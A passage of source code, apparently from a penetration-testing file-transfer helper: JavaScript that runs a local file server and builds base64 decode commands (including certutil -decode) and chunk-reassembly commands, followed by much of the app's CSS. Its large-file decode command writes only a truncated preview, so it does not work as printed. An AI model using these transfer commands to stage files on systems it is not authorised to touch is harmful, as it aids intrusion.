337 | } else {
338 | const errorMsg = response && response.error ? response.error : "Unknown error";
339 | showNotification(`Base64 encoding failed: ${errorMsg}`, 'error', 5000);
340 | }
341 | }).catch(err => {
342 | setLoading(convertBase64Btn, false);
343 | console.error("Error calling file_to_base64 API:", err);
344 | showNotification('Communication error with backend', 'error', 5000);
345 | });
346 | });
347 |
348 | base64DecodeCmd.addEventListener('change', function() {
349 | if (base64Data && currentFilename) {
350 | updateBase64DecodeCommand(currentFilename, base64Data);
351 | }
352 | });
353 |
354 | copyBase64Btn.addEventListener('click', function() {
355 | const decodeCommand = base64DecodeCommand.textContent;
356 | if (decodeCommand) {
357 | copySingleCommand(decodeCommand);
358 | }
359 | });
360 | }
361 |
362 | // Update base64 decode command based on OS selection WITH THE ACTUAL DATA
363 | function updateBase64DecodeCommand(filename, data) {
364 | const os = base64DecodeCmd.value;
365 | let command = '';
366 |
367 | // If data is very large, create a command that will actually work
368 | const truncateLength = 200; // Characters to show of large data
369 | const isDataTooLarge = data && data.length > 10000;
370 |
371 | if (os === 'linux') {
372 | if (isDataTooLarge) {
373 | // For large files, provide the command structure and first/last part of data
374 | const previewData = data.substring(0, truncateLength) + '...' +
375 | data.substring(data.length - truncateLength);
376 | command = `# Base64 data too large to display fully (${formatBytes(data.length * 0.75)})\n` +
377 | `# Save this to a file first:\n` +
378 | `echo '${previewData}' > encoded.b64\n` +
379 | `# Then decode with:\n` +
380 | `cat encoded.b64 | base64 -d > "${filename}"\n` +
381 | `# The actual data starts with: ${data.substring(0, 20)}...`;
382 | } else {
383 | command = `echo '${data}' | base64 -d > "${filename}"`;
384 | }
385 | } else if (os === 'windows') {
386 | if (isDataTooLarge) {
387 | const previewData = data.substring(0, truncateLength) + '...' +
388 | data.substring(data.length - truncateLength);
389 | command = `# Base64 data too large to display fully (${formatBytes(data.length * 0.75)})\n` +
390 | `# 1. Save this to encoded.b64 file first\n` +
391 | `# Data begins with: ${data.substring(0, 20)}...\n\n` +
392 | `# 2. Then decode with:\n` +
393 | `certutil -decode encoded.b64 "${filename}"\n` +
394 | `del encoded.b64`;
395 | } else {
396 | command = `echo ${data} > encoded.b64\ncertutil -decode encoded.b64 "${filename}"\ndel encoded.b64`;
397 | }
398 | }
399 |
400 | base64DecodeCommand.textContent = command;
401 | }
402 |
403 | // Implement file chunking with optimized UI updates
404 | function setupFileChunking() {
405 | splitFileBtn.addEventListener('click', function() {
406 | if (!selectedFilePath) {
407 | showNotification("Please select a file first", 'warning');
408 | return;
409 | }
410 |
411 | const chunkSizeKB = parseInt(splitSize.value);
412 | if (isNaN(chunkSizeKB) || chunkSizeKB < 16 || chunkSizeKB > 10240) {
413 | showNotification("Please enter a valid chunk size (16-10240 KB)", 'warning');
414 | return;
415 | }
416 |
417 | setLoading(this, true);
418 | splitResults.classList.add('hidden');
419 |
420 | window.pywebview.api.split_file(selectedFilePath, chunkSizeKB).then(function(response) {
421 | setLoading(splitFileBtn, false);
422 |
423 | if (response && response.success) {
424 | chunksCreated = response.chunks;
425 |
426 | // Clear previous list
427 | chunkList.innerHTML = '';
428 |
429 | // Limit number of chunks shown for better performance
430 | const displayLimit = 50; // Show at most 50 chunks
431 | let chunksToShow = chunksCreated;
432 |
433 | if (chunksCreated.length > displayLimit) {
434 | // Just show first 25 and last 25 chunks
435 | const firstHalf = chunksCreated.slice(0, displayLimit / 2);
436 | const secondHalf = chunksCreated.slice(chunksCreated.length - displayLimit / 2);
437 | chunksToShow = [...firstHalf, ...secondHalf];
438 |
439 | // Add ellipsis to indicate truncation
440 | const totalHidden = chunksCreated.length - displayLimit;
441 | const ellipsisItem = document.createElement('li');
442 | ellipsisItem.textContent = `... ${totalHidden} more chunks ...`;
443 | ellipsisItem.className = 'truncated-chunk-notice';
444 |
445 | // Add each chunk to the list with batch rendering
446 | const fragment = document.createDocumentFragment();
447 |
448 | firstHalf.forEach(chunk => {
449 | const li = document.createElement('li');
450 | li.textContent = `${chunk.name} (${formatBytes(chunk.size)})`;
451 | fragment.appendChild(li);
452 | });
453 |
454 | fragment.appendChild(ellipsisItem);
455 |
456 | secondHalf.forEach(chunk => {
457 | const li = document.createElement('li');
458 | li.textContent = `${chunk.name} (${formatBytes(chunk.size)})`;
459 | fragment.appendChild(li);
460 | });
461 |
462 | chunkList.appendChild(fragment);
463 | } else {
464 | // Batch render all chunks for better performance
465 | const fragment = document.createDocumentFragment();
466 | chunksToShow.forEach(chunk => {
467 | const li = document.createElement('li');
468 | li.textContent = `${chunk.name} (${formatBytes(chunk.size)})`;
469 | fragment.appendChild(li);
470 | });
471 | chunkList.appendChild(fragment);
472 | }
473 |
474 | // Create reassembly command
475 | const filename = response.original_file;
476 | const isWindows = navigator.platform.indexOf('Win') !== -1;
477 | let command = '';
478 |
479 | if (isWindows) {
480 | command = `copy /b "${filename}.001" + "${filename}.002" + ... "${filename}"`;
481 | } else {
482 | command = `cat ${filename}.* > ${filename}`;
483 | }
484 |
485 | chunkReassemblyCmd.textContent = command;
486 |
487 | // Show results
488 | splitResults.classList.remove('hidden');
489 |
490 | showNotification(`File split into ${chunksCreated.length} chunks`, 'success');
491 | } else {
492 | const errorMsg = response && response.error ? response.error : "Unknown error";
493 | showNotification(`File chunking failed: ${errorMsg}`, 'error', 5000);
494 | }
495 | }).catch(err => {
496 | setLoading(splitFileBtn, false);
497 | console.error("Error calling split_file API:", err);
498 | showNotification('Communication error with backend', 'error', 5000);
499 | });
500 | });
501 |
502 | copyReassemblyCmd.addEventListener('click', function() {
503 | const command = chunkReassemblyCmd.textContent;
504 | if (command) {
505 | copySingleCommand(command);
506 | }
507 | });
508 | }
509 |
510 | // Format bytes to human-readable size
511 | function formatBytes(bytes, decimals = 2) {
512 | if (bytes === 0) return '0 Bytes';
513 |
514 | const k = 1024;
515 | const dm = decimals < 0 ? 0 : decimals;
516 | const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
517 |
518 | const i = Math.floor(Math.log(bytes) / Math.log(k));
519 |
520 | return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i];
521 | }
522 |
523 | // Use debounce for input events to improve performance
524 | const debouncedUpdateCommand = debounce(updateDownloadCommand, 100);
525 |
526 | // Populate IP addresses on load
527 | window.pywebview.api.get_ip_addresses().then(function(ips) {
528 | // Clear loading message
529 | ipAddressSelect.innerHTML = '';
530 |
531 | // Add default 127.0.0.1
532 | const defaultOption = document.createElement('option');
533 | defaultOption.value = '127.0.0.1';
534 | defaultOption.textContent = '127.0.0.1 (Localhost)';
535 | ipAddressSelect.appendChild(defaultOption);
536 |
537 | if (ips && ips.length > 0) {
538 | ips.forEach(ip => {
539 | if (ip !== '127.0.0.1') {
540 | const option = document.createElement('option');
541 | option.value = ip;
542 | option.textContent = ip;
543 | ipAddressSelect.appendChild(option);
544 | }
545 | });
546 | }
547 |
548 | // Add custom option
549 | const customOption = document.createElement('option');
550 | customOption.value = 'custom';
551 | customOption.textContent = 'Enter Custom IP...';
552 | ipAddressSelect.appendChild(customOption);
553 |
554 | // Set default selection to first non-loopback if available
555 | const firstNonLoopback = ips ? ips.find(ip => ip !== '127.0.0.1') : null;
556 | if (firstNonLoopback) {
557 | ipAddressSelect.value = firstNonLoopback;
558 | } else {
559 | ipAddressSelect.value = '127.0.0.1';
560 | }
561 |
562 | // Hide custom input initially
563 | ipAddressCustomInput.style.display = 'none';
564 | updateUiState();
565 | }).catch(err => {
566 | console.error("Error getting IP addresses:", err);
567 | ipAddressSelect.innerHTML = '';
568 |
569 | // Add placeholder option
570 | const errorOption = document.createElement('option');
571 | errorOption.value = '127.0.0.1';
572 | errorOption.textContent = '127.0.0.1 (Network error)';
573 | ipAddressSelect.appendChild(errorOption);
574 |
575 | // Add custom option
576 | const customOption = document.createElement('option');
577 | customOption.value = 'custom';
578 | customOption.textContent = 'Enter Custom IP...';
579 | ipAddressSelect.appendChild(customOption);
580 |
581 | showNotification('Could not load network interfaces', 'error');
582 | updateUiState();
583 | });
584 |
585 | // Listener for IP Select Dropdown
586 | ipAddressSelect.addEventListener('change', function() {
587 | if (this.value === 'custom') {
588 | ipAddressCustomInput.style.display = 'block';
589 | ipAddressCustomInput.focus();
590 | } else {
591 | ipAddressCustomInput.style.display = 'none';
592 | }
593 | debouncedUpdateCommand();
594 | });
595 |
596 | // Listener for Custom IP Input
597 | ipAddressCustomInput.addEventListener('input', debouncedUpdateCommand);
598 |
599 | selectFileBtn.addEventListener('click', function() {
600 | setLoading(this, true);
601 | window.pywebview.api.select_file().then(function(selectedPath) {
602 | setLoading(selectFileBtn, false);
603 | if (selectedPath) {
604 | selectedFilePath = selectedPath;
605 | currentFilename = selectedPath.split(/[\\/]/).pop();
606 | filePathInput.value = selectedFilePath;
607 | console.log(`File selected: ${selectedFilePath}, Filename: ${currentFilename}`);
608 | showNotification(`Selected file: ${currentFilename}`, 'success');
609 | updateUiState();
610 | } else {
611 | console.log("File selection cancelled or failed.");
612 | selectedFilePath = null;
613 | currentFilename = null;
614 | filePathInput.value = "";
615 | updateUiState();
616 | }
617 | }).catch(err => {
618 | setLoading(selectFileBtn, false);
619 | console.error("Error calling select_file API:", err);
620 | showNotification('Error opening file dialog', 'error');
621 | selectedFilePath = null;
622 | currentFilename = null;
623 | filePathInput.value = "";
624 | updateUiState();
625 | });
626 | });
627 |
628 | startServerBtn.addEventListener('click', function() {
629 | const currentIP = getCurrentIpAddress();
630 | const port = portInput.value;
631 |
632 | if (!selectedFilePath) {
633 | showNotification("Please select a file first", 'warning');
634 | return;
635 | }
636 |
637 | if (ipAddressSelect.value === 'custom' && !currentIP) {
638 | showNotification("Please enter a custom IP address", 'warning');
639 | return;
640 | }
641 |
642 | if (ipAddressSelect.value === 'custom' && !/^(\d{1,3}\.){3}\d{1,3}$/.test(currentIP) && currentIP !== "localhost") {
643 | showNotification("Invalid IP address format", 'error');
644 | return;
645 | }
646 |
647 | if (!port || port < 1 || port > 65535) {
648 | showNotification("Please enter a valid port (1-65535)", 'error');
649 | return;
650 | }
651 |
652 | // Show loading state
653 | setLoading(this, true);
654 | serverStatusSpan.textContent = 'Status: Starting...';
655 | serverStatusSpan.classList.remove('stopped', 'running', 'error');
656 | serverStatusSpan.classList.add('running', 'pulse');
657 |
658 | window.pywebview.api.start_server(selectedFilePath, port).then(function(response) {
659 | setLoading(startServerBtn, false);
660 |
661 | if (response && response.success) {
662 | isServerRunning = true;
663 | currentFilename = response.filename;
664 | updateUiState();
665 | // Success notification with IP:port info
666 | const ip = getCurrentIpAddress();
667 | showNotification(`Server running at ${ip}:${port}`, 'success');
668 | console.log(`Server started successfully serving ${currentFilename} from ${response.directory} on port ${response.port}`);
669 | } else {
670 | isServerRunning = false;
671 | const errorMsg = response && response.error ? response.error : "Unknown error";
672 | setStatusError('Failed');
673 | showNotification(`Server failed to start: ${errorMsg}`, 'error', 5000);
674 | console.error(`Failed to start server: ${errorMsg}`);
675 | updateUiState();
676 | }
677 | }).catch(err => {
678 | setLoading(startServerBtn, false);
679 | isServerRunning = false;
680 | setStatusError('Error');
681 | showNotification('Communication error with backend', 'error', 5000);
682 | console.error("Error calling start_server API:", err);
683 | updateUiState();
684 | });
685 | });
686 |
687 | stopServerBtn.addEventListener('click', function() {
688 | setLoading(this, true);
689 | serverStatusSpan.textContent = 'Status: Stopping...';
690 |
691 | window.pywebview.api.stop_server().then(function(response) {
692 | setLoading(stopServerBtn, false);
693 |
694 | if (response && response.success) {
695 | isServerRunning = false;
696 | updateUiState();
697 | showNotification('Server stopped successfully', 'success');
698 |
699 | if(response.warning) {
700 | showNotification(response.warning, 'warning', 5000);
701 | }
702 | } else {
703 | isServerRunning = false;
704 | const errorMsg = response && response.error ? response.error : "Unknown error";
705 | setStatusError('Stop Failed');
706 | showNotification(`Failed to stop server cleanly: ${errorMsg}`, 'error', 5000);
707 | updateUiState();
708 | }
709 | }).catch(err => {
710 | setLoading(stopServerBtn, false);
711 | isServerRunning = false;
712 | setStatusError('Error');
713 | showNotification('Communication error with backend', 'error', 5000);
714 | console.error("Error calling stop_server API:", err);
715 | updateUiState();
716 | });
717 | });
718 |
719 | // Add event listeners with debounce for better performance
720 | portInput.addEventListener('change', debouncedUpdateCommand);
721 | portInput.addEventListener('input', debouncedUpdateCommand);
722 |
723 | // Setup additional features
724 | setupTabs();
725 | setupCopyButtons();
726 | setupBase64Conversion();
727 | setupFileChunking();
728 |
729 | // Initial setup
730 | updateUiState();
731 | });
--------------------------------------------------------------------------------
/web/style.css:
--------------------------------------------------------------------------------
1 | :root {
2 | /* Pentesting-focused color palette */
3 | --bg-color: #0c0e14; /* Darker background */
4 | --widget-bg-color: #161b22; /* Terminal-like widget background */
5 | --text-color: #e2e8f0; /* Light text */
6 | --text-muted-color: #7a869a;
7 | --primary-color: #00b1e2; /* Cyan-blue for hacker aesthetic */
8 | --primary-hover-color: #0098c3;
9 | --secondary-color: #2e3440;
10 | --border-color: #30363d;
11 | --success-color: #10b981; /* Green */
12 | --error-color: #ef4444; /* Red */
13 | --warning-color: #f59e0b; /* Amber */
14 | --font-family: 'JetBrains Mono', 'Fira Code', 'Inter', -apple-system, BlinkMacSystemFont, monospace;
15 | --border-radius: 6px;
16 | --box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
17 | --box-shadow-hover: 0 4px 12px rgba(0, 0, 0, 0.3);
18 | --transition-speed: 0.15s;
19 | --code-bg: rgba(0, 0, 0, 0.2);
20 | }
21 |
22 | @import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&family=JetBrains+Mono:wght@400;500&display=swap');
23 |
24 | body {
25 | font-family: var(--font-family);
26 | margin: 0;
27 | padding: 20px;
28 | background-color: var(--bg-color); /* Solid color instead of gradient for better performance */
29 | color: var(--text-color);
30 | font-size: 14px;
31 | line-height: 1.6;
32 | overflow-y: auto;
33 | overflow-x: hidden;
34 | height: auto;
35 | min-height: 100vh;
36 | box-sizing: border-box;
37 | }
38 |
39 | h1 {
40 | text-align: center;
41 | color: var(--primary-color);
42 | margin-top: 0;
43 | margin-bottom: 25px;
44 | font-weight: 600;
45 | letter-spacing: 0.5px;
46 | position: relative;
47 | display: inline-block;
48 | padding-bottom: 8px;
49 | align-self: center;
50 | }
51 |
52 | h1::after {
53 | content: '';
54 | position: absolute;
55 | bottom: 0;
56 | left: 25%;
57 | width: 50%;
58 | height: 3px;
59 | background-color: var(--primary-color);
60 | border-radius: 3px;
61 | }
62 |
63 | .container {
64 | display: flex;
65 | flex-direction: column;
66 | gap: 16px;
67 | max-width: 900px;
68 | margin: 0 auto;
69 | width: 100%;
70 | position: relative;
71 | }
72 |
73 | /* Reduce custom scrollbar styling for performance */
74 | .container::-webkit-scrollbar {
75 | width: 6px;
76 | }
77 | .container::-webkit-scrollbar-track {
78 | background: var(--secondary-color);
79 | }
80 | .container::-webkit-scrollbar-thumb {
81 | background-color: var(--border-color);
82 | }
83 |
84 | .section {
85 | background-color: var(--widget-bg-color);
86 | padding: 18px 20px;
87 | margin-bottom: 0;
88 | border-radius: var(--border-radius);
89 | border: 1px solid var(--border-color);
90 | box-shadow: var(--box-shadow);
91 | /* Remove hover transform for performance */
92 | }
93 |
94 | /* Remove section hover effects for better performance */
95 | .section:hover {
96 | box-shadow: var(--box-shadow);
97 | }
98 |
99 | /* --- Input/Select Styles --- */
100 | input[type="text"],
101 | input[type="number"],
102 | select {
103 | padding: 10px 12px;
104 | border: 1px solid var(--border-color);
105 | background-color: rgba(12, 14, 20, 0.5);
106 | color: #ffffff; /* Brighter white text for better readability */
107 | border-radius: var(--border-radius);
108 | flex-grow: 1;
109 | min-width: 80px;
110 | box-sizing: border-box;
111 | transition: border-color var(--transition-speed) ease;
112 | font-size: inherit;
113 | font-family: var(--font-family);
114 | font-weight: 500; /* Make text slightly bolder */
115 | }
116 |
117 | input:focus,
118 | select:focus {
119 | outline: none;
120 | border-color: var(--primary-color);
121 | background-color: rgba(0, 0, 0, 0.7); /* Even darker when focused */
122 | box-shadow: 0 0 0 1px var(--primary-color);
123 | }
124 |
125 | /* Add specific enhancement for IP address inputs */
126 | #ip-address-custom,
127 | #ip-address-select {
128 | background-color: rgba(0, 0, 0, 0.6); /* Darker background for better contrast */
129 | color: #8899aa; /* Use a darker light color */
130 | }
131 |
132 | /* Add specific enhancement for base64 command field */
133 | #base64-decode-cmd {
134 | background-color: rgba(0, 0, 0, 0.6); /* Darker background */
135 | color: #8899aa; /* Use a darker light color */
136 | }
137 |
138 | /* Add specific enhancement for split file input field */
139 | #split-size {
140 | background-color: rgba(0, 0, 0, 0.6); /* Darker background for better contrast */
141 | color: #8899aa; /* Use a darker light color */
142 | font-weight: 500; /* Slightly bolder text */
143 | }
144 |
145 | /* --- Button Styles --- */
146 | button {
147 | padding: 10px 16px;
148 | font-size: 14px;
149 | font-weight: 500;
150 | background: var(--primary-color);
151 | color: white;
152 | border: none;
153 | border-radius: var(--border-radius);
154 | cursor: pointer;
155 | transition: background-color var(--transition-speed) ease;
156 | font-family: var(--font-family);
157 | }
158 |
159 | /* Simplify button after pseudo-element */
160 | button::after {
161 | display: none;
162 | }
163 |
164 | button:hover {
165 | background: var(--primary-hover-color);
166 | }
167 |
168 | button:active {
169 | transform: translateY(1px);
170 | }
171 |
172 | button:disabled {
173 | background: var(--secondary-color);
174 | color: var(--text-muted-color);
175 | cursor: not-allowed;
176 | }
177 |
178 | /* Specific button adjustments */
179 | #select-file-btn {
180 | flex-shrink: 0; /* Prevent shrinking */
181 | }
182 |
183 | /* --- File Selection Section --- */
184 | .file-selection {
185 | display: flex;
186 | gap: 15px;
187 | align-items: center;
188 | flex-wrap: wrap;
189 | }
190 |
191 | .file-input-wrapper {
192 | position: relative;
193 | flex-grow: 1;
194 | min-width: 200px;
195 | }
196 |
197 | .file-input-wrapper .file-icon {
198 | position: absolute;
199 | right: 12px;
200 | top: 50%;
201 | transform: translateY(-50%);
202 | color: var(--text-muted-color);
203 | pointer-events: none;
204 | }
205 |
206 | #file-path {
207 | width: 100%;
208 | background-color: rgba(0, 0, 0, 0.6); /* Darker background for better contrast */
209 | border-color: var(--border-color);
210 | font-family: 'JetBrains Mono', monospace;
211 | color: #ffffff; /* Brighter white text */
212 | padding-right: 40px; /* Space for icon */
213 | font-weight: 500; /* Slightly bolder text */
214 | }
215 |
216 | /* --- Network Config Section --- */
217 | .network-config {
218 | display: flex;
219 | align-items: flex-end;
220 | gap: 20px;
221 | flex-wrap: wrap;
222 | }
223 |
224 | .ip-selection-group,
225 | .port-selection-group {
226 | display: flex;
227 | flex-direction: column;
228 | flex: 1 1 auto;
229 | min-width: 180px;
230 | gap: 8px;
231 | }
232 |
233 | /* --- Server Controls --- */
234 | .server-controls {
235 | display: flex;
236 | align-items: center;
237 | gap: 15px;
238 | flex-wrap: wrap;
239 | }
240 |
241 | #server-status {
242 | font-weight: 600;
243 | padding: 8px 14px;
244 | border-radius: var(--border-radius);
245 | transition: all var(--transition-speed) ease;
246 | text-align: center;
247 | min-width: 120px;
248 | display: flex;
249 | align-items: center;
250 | justify-content: center;
251 | margin-left: auto;
252 | font-family: 'JetBrains Mono', monospace;
253 | }
254 |
255 | #server-status::before {
256 | content: '';
257 | display: inline-block;
258 | width: 8px;
259 | height: 8px;
260 | border-radius: 50%;
261 | margin-right: 8px;
262 | background-color: currentColor;
263 | }
264 |
265 | #server-status.stopped {
266 | background-color: var(--secondary-color);
267 | color: var(--text-muted-color);
268 | }
269 |
270 | #server-status.running {
271 | background-color: rgba(16, 185, 129, 0.2);
272 | color: var(--success-color);
273 | }
274 |
275 | #server-status.error {
276 | background-color: rgba(239, 68, 68, 0.2);
277 | color: var(--error-color);
278 | }
279 |
280 | /* --- Command Section with Tabs --- */
281 | .command-section {
282 | display: flex;
283 | flex-direction: column;
284 | min-height: 250px;
285 | height: auto;
286 | overflow: visible;
287 | margin-bottom: 15px;
288 | }
289 |
290 | .command-section h2 {
291 | margin-top: 0;
292 | margin-bottom: 15px;
293 | font-weight: 500;
294 | color: var(--text-color);
295 | border-bottom: 1px solid var(--border-color);
296 | padding-bottom: 10px;
297 | display: flex;
298 | align-items: center;
299 | gap: 8px;
300 | }
301 |
302 | .command-tabs {
303 | display: flex;
304 | margin-bottom: 15px;
305 | border-bottom: 1px solid var(--border-color);
306 | gap: 2px;
307 | }
308 |
309 | .tab-button {
310 | background: transparent;
311 | border: none;
312 | color: var(--text-muted-color);
313 | padding: 8px 15px;
314 | font-weight: 500;
315 | border-radius: var(--border-radius) var(--border-radius) 0 0;
316 | border-bottom: 2px solid transparent;
317 | box-shadow: none;
318 | transition: all var(--transition-speed) ease;
319 | }
320 |
321 | .tab-button:hover {
322 | color: var(--text-color);
323 | background-color: rgba(0, 177, 226, 0.1);
324 | transform: none;
325 | }
326 |
327 | .tab-button.active {
328 | color: var(--primary-color);
329 | border-bottom: 2px solid var(--primary-color);
330 | background-color: rgba(0, 177, 226, 0.1);
331 | }
332 |
333 | .tab-content {
334 | display: none;
335 | flex-direction: column;
336 | min-height: 180px;
337 | height: auto;
338 | overflow: visible;
339 | position: relative;
340 | opacity: 0;
341 | transition: opacity 0.2s ease;
342 | }
343 |
344 | .tab-content.active {
345 | display: flex;
346 | opacity: 1;
347 | }
348 |
349 | /* Improve placeholder text visibility */
350 | .placeholder-text {
351 | display: flex;
352 | align-items: center;
353 | justify-content: center;
354 | flex-grow: 1;
355 | padding: 20px;
356 | font-style: italic;
357 | color: #a3b1cc; /* Brighter color for better visibility */
358 | font-size: 1.1em;
359 | text-align: center;
360 | line-height: 1.5;
361 | background-color: rgba(12, 14, 20, 0.5);
362 | border-radius: var(--border-radius);
363 | border: 1px dashed var(--border-color);
364 | margin: 10px 0;
365 | }
366 |
367 | .placeholder-text i {
368 | font-size: 1.2em;
369 | margin-right: 8px;
370 | color: var(--primary-color);
371 | }
372 |
373 | /* --- Pentest Tools Section --- */
374 | .pentest-tools {
375 | height: auto;
376 | overflow: visible;
377 | margin-bottom: 50px; /* Extra space at the bottom to prevent overlap */
378 | }
379 |
380 | .pentest-tools h2 {
381 | margin-top: 0;
382 | margin-bottom: 15px;
383 | font-weight: 500;
384 | color: var(--text-color);
385 | border-bottom: 1px solid var(--border-color);
386 | padding-bottom: 10px;
387 | display: flex;
388 | align-items: center;
389 | gap: 8px;
390 | }
391 |
392 | .tools-grid {
393 | display: grid;
394 | grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
395 | gap: 20px;
396 | margin-bottom: 20px;
397 | }
398 |
399 | .tool-card {
400 | background-color: rgba(12, 14, 20, 0.3);
401 | border-radius: var(--border-radius);
402 | padding: 15px;
403 | border: 1px solid var(--border-color);
404 | transition: all var(--transition-speed) ease;
405 | min-height: 200px;
406 | display: flex;
407 | flex-direction: column;
408 | }
409 |
410 | .tool-card:hover {
411 | border-color: var(--primary-color);
412 | background-color: rgba(0, 177, 226, 0.05);
413 | }
414 |
415 | .tool-card h3 {
416 | margin-top: 0;
417 | color: var(--primary-color);
418 | font-weight: 500;
419 | font-size: 16px;
420 | margin-bottom: 10px;
421 | display: flex;
422 | align-items: center;
423 | gap: 8px;
424 | }
425 |
426 | .tool-card h4 {
427 | margin: 15px 0 5px 0;
428 | font-size: 14px;
429 | font-weight: 500;
430 | color: var(--text-color);
431 | }
432 |
433 | .tool-card p {
434 | color: var(--text-muted-color);
435 | margin: 0 0 15px 0;
436 | font-size: 0.9em;
437 | }
438 |
439 | .tool-card .form-group {
440 | margin-bottom: 15px;
441 | }
442 |
443 | .tool-content {
444 | flex-grow: 1;
445 | display: flex;
446 | flex-direction: column;
447 | }
448 |
449 | .shell-cmd-block {
450 | border: 1px solid var(--border-color);
451 | border-radius: var(--border-radius);
452 | margin-bottom: 15px;
453 | background-color: rgba(12, 14, 20, 0.7);
454 | }
455 |
456 | .shell-cmd-block h3 {
457 | margin: 0;
458 | padding: 10px 15px;
459 | font-size: 16px;
460 | font-weight: 500;
461 | color: var(--text-color);
462 | background-color: rgba(0, 0, 0, 0.2);
463 | border-bottom: 1px solid var(--border-color);
464 | }
465 |
466 | .hidden {
467 | display: none;
468 | }
469 |
470 | #chunk-list {
471 | margin: 5px 0;
472 | padding-left: 20px;
473 | color: var(--text-muted-color);
474 | }
475 |
476 | #chunk-list li {
477 | margin-bottom: 3px;
478 | }
479 |
480 | /* --- Notification Styling --- */
481 | #notification-area {
482 | position: fixed;
483 | bottom: 20px;
484 | right: 20px;
485 | z-index: 1000;
486 | display: flex;
487 | flex-direction: column;
488 | gap: 10px;
489 | align-items: flex-end;
490 | pointer-events: none; /* Allow clicking through */
491 | }
492 |
493 | .notification {
494 | background-color: var(--success-color);
495 | color: white;
496 | padding: 10px 16px;
497 | border-radius: var(--border-radius);
498 | box-shadow: var(--box-shadow);
499 | opacity: 0;
500 | transform: translateX(50px);
501 | transition: opacity var(--transition-speed) ease, transform var(--transition-speed) ease;
502 | max-width: 300px;
503 | font-size: 13px;
504 | font-weight: 500;
505 | pointer-events: auto; /* Make the notification clickable */
506 | }
507 |
508 | .notification.show {
509 | opacity: 1;
510 | transform: translateX(0%);
511 | }
512 |
513 | .notification.error { background-color: var(--error-color); }
514 | .notification.warning { background-color: var(--warning-color); }
515 |
516 | /* --- Responsive Adjustments --- */
517 | @media (max-width: 650px) {
518 | body {
519 | padding: 15px;
520 | height: auto;
521 | }
522 |
523 | .network-config,
524 | .server-controls {
525 | flex-direction: column;
526 | align-items: stretch;
527 | gap: 15px;
528 | }
529 |
530 | .file-selection {
531 | flex-direction: column;
532 | align-items: stretch;
533 | gap: 10px;
534 | }
535 |
536 | .command-block {
537 | flex-direction: column;
538 | align-items: flex-start;
539 | gap: 8px;
540 | }
541 | .copy-single-btn {
542 | margin-left: 0;
543 | margin-top: 5px;
544 | align-self: flex-start;
545 | }
546 | .command-title { text-align: left; }
547 |
548 | .tools-grid {
549 | grid-template-columns: 1fr;
550 | }
551 |
552 | #server-status {
553 | margin-left: 0;
554 | width: 100%;
555 | margin-top: 10px;
556 | }
557 | }
558 |
559 | /* Simplified pulse animation */
560 | .pulse {
561 | animation: pulse 3s ease-in-out infinite;
562 | }
563 |
564 | @keyframes pulse {
565 | 0%, 100% { opacity: 1; }
566 | 50% { opacity: 0.7; }
567 | }
568 |
569 | /* Base64 output styling improvements */
570 | #base64-output-container {
571 | margin-top: 15px;
572 | border-top: 1px solid var(--border-color);
573 | padding-top: 15px;
574 | }
575 |
576 | .output-pre {
577 | margin-bottom: 15px;
578 | padding: 10px;
579 | max-height: 200px;
580 | background-color: rgba(0, 0, 0, 0.4); /* Darker background */
581 | font-size: 12.5px;
582 | line-height: 1.4;
583 | color: #ffffff; /* Ensure text is bright white */
584 | border: 1px solid var(--border-color);
585 | }
586 |
587 | #base64-decode-command {
588 | background-color: rgba(16, 185, 129, 0.15);
589 | border: 1px solid rgba(16, 185, 129, 0.3);
590 | font-weight: 500;
591 | color: #ffffff; /* Ensure text is bright white */
592 | text-shadow: 0px 0px 2px rgba(0, 0, 0, 0.5); /* Add subtle text shadow for better readability */
593 | white-space: pre; /* Prevent wrapping */
594 | overflow-x: auto; /* Enable horizontal scrolling */
595 | }
596 |
597 | /* Make the tab content area more visible with a subtle border */
598 | pre#download-command {
599 | background-color: rgba(12, 14, 20, 0.7);
600 | padding: 0;
601 | border: 1px solid var(--border-color);
602 | border-radius: var(--border-radius);
603 | font-family: 'JetBrains Mono', 'Fira Code', 'Consolas', monospace;
604 | font-size: 13px;
605 | overflow-y: auto;
606 | max-height: 300px;
607 | color: var(--text-color);
608 | display: flex;
609 | flex-direction: column;
610 | margin: 0 0 10px 0;
611 | min-height: 120px; /* Ensure minimum height for content */
612 | }
613 |
614 | .command-block {
615 | padding: 12px 16px;
616 | border-bottom: 1px solid var(--border-color);
617 | display: flex;
618 | align-items: center;
619 | gap: 15px;
620 | position: relative;
621 | }
622 |
623 | .command-block:hover {
624 | background-color: rgba(255, 255, 255, 0.05);
625 | }
626 |
627 | .command-block:last-child {
628 | border-bottom: none;
629 | }
630 |
631 | .command-title {
632 | font-weight: 600;
633 | color: var(--primary-color);
634 | font-size: 0.9em;
635 | white-space: nowrap;
636 | flex-shrink: 0;
637 | min-width: 80px;
638 | text-align: right;
639 | }
640 |
641 | .command-block code {
642 | flex-grow: 1;
643 | white-space: pre-wrap;
644 | word-wrap: break-word;
645 | background-color: var(--code-bg);
646 | padding: 6px 10px;
647 | border-radius: 4px;
648 | font-family: 'JetBrains Mono', monospace;
649 | color: inherit;
650 | line-height: 1.6;
651 | min-width: 0; /* Add this to prevent breaking flex layout */
652 | }
653 |
654 | .copy-single-btn {
655 | padding: 6px 12px;
656 | font-size: 12px;
657 | font-weight: 500;
658 | background-color: var(--secondary-color);
659 | color: var(--text-color);
660 | border: 1px solid var(--border-color);
661 | border-radius: var(--border-radius);
662 | cursor: pointer;
663 | transition: background-color var(--transition-speed) ease;
664 | flex-shrink: 0;
665 | margin-left: auto;
666 | }
667 |
668 | .copy-single-btn:hover {
669 | background-color: var(--primary-color);
670 | border-color: var(--primary-hover-color);
671 | color: white;
672 | }
673 |
674 | /* Form field improvements */
675 | .form-group {
676 | margin-bottom: 15px;
677 | display: flex;
678 | flex-direction: column;
679 | gap: 5px;
680 | }
681 |
682 | /* Make the tabs more prominent */
683 | .tab-button {
684 | margin-bottom: -1px;
685 | border: 1px solid transparent;
686 | border-bottom: none;
687 | }
688 |
689 | .tab-button.active {
690 | border: 1px solid var(--border-color);
691 | border-bottom: 1px solid var(--widget-bg-color);
692 | background-color: var(--widget-bg-color);
693 | position: relative;
694 | z-index: 2;
695 | }
696 |
697 | .tab-content {
698 | z-index: 1;
699 | }
700 |
701 | /* Add special styling for truncated text notice */
702 | .truncated-chunk-notice {
703 | font-style: italic;
